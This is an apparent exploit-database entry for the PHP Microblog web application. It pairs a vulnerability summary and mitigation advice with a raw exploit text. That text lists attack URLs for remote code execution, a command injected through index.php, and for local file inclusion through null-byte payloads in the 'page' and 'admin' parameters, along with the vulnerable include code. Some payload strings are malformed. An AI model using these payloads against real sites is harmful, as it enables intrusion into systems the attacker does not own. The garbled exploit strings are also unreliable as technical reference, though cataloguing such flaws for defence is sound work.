Multiple Vulnerability

vendor:

PHP Microblog

by:

JIKO

9,8

CVSS

HIGH

Remote Code Execution (RCE) and Local File Inclusion (LFI)

94, 98

CWE

Product Name: PHP Microblog

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2020

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'index.php' script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary PHP code on the target system. Also, an attacker can include a local file on the vulnerable system by using directory traversal sequences (e.g. '../') in the 'page' and 'admin' parameters.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability. The application should also be configured to use the least privileged user account.

Source

Exploit-DB raw data:

----------[exploit Debut]
[Multiple Vulnerability]
----------[Script Info]
 
Moi : JIKO
Site    : No-exploit.Com

 
----------[Script Info]
 
Site        : http://www.apphp.com
Download    : http://www.apphp.com/downloads_free/php_microblog_101.zip
 
----------[exploit Info]
 
~[RCE]
http://path/index.php?jiko);system((dir)=/
~[LFI]
http://path/index.php?index.php?page=FILE%00 (you need to baypass the filter)
http://path/index.php?index.php?admin=FILE%00 (you need to baypass the filter)

if (($page != "") && file_exists("page/" . $page . ".php")) {
                        include_once("page/" . $page . 

".php");
                    } else if (($admin != "") && 

file_exists("admin/" . $admin . ".php")) {
                        include_once("admin/" . $admin 

. ".php");
                    } 
----------[exploit Fin]